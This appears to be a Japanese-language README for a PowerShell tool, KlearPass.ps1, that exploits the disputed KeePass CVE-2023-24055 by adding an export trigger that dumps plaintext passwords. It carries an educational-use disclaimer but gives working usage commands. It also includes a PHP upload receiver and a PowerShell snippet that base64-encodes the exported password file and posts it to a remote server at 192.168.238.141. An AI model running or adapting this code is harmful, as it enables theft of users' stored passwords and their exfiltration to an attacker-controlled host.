
このスクリプトは教育およびデモンストレーション目的でのみ使用されます。作者は、このスクリプトを犯罪や悪意のある活動に使用することを推奨または容認しておらず、明示的に許可された適切な許可がある場合にのみ使用すべきです。
このスクリプトは注意して使用してください。KeePassの設定ファイルを変更し、以前に設定されたトリガーを削除します。このスクリプトを使用すると、予期しない動作が発生し、KeePassアプリケーションが壊れる可能性があります。自己責任で使用してください。
このスクリプトは、バージョン2.53までのKeePass(デフォルトインストール)における ** 論争中 ** の脆弱性(CVE-2023-24055)を示しています。この脆弱性により、XML設定ファイルへの書き込みアクセス権を持つ攻撃者が、エクスポートトリガーを追加することで平文パスワードを取得できます。なお、ベンダーの見解では、パスワードデータベースはローカルPCへのそのレベルのアクセス権を持つ攻撃者に対して安全であることを意図していません。
参考文献:
このスクリプトを使用するには、PowerShellで実行し、必要なパラメータを指定します。必須パラメータは次のとおりです。
-filename: パスワードをエクスポートするファイルのフルパスとファイル名。オプションパラメータは次のとおりです。
-uploadURL: データを指定されたURLにアップロードすることを指定するスイッチ。-url: データをアップロードするURL。平文パスワードをエクスポートする:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
平文パスワードをエクスポートし、Webサーバーにアップロードする:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
詳細なヘルプ:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");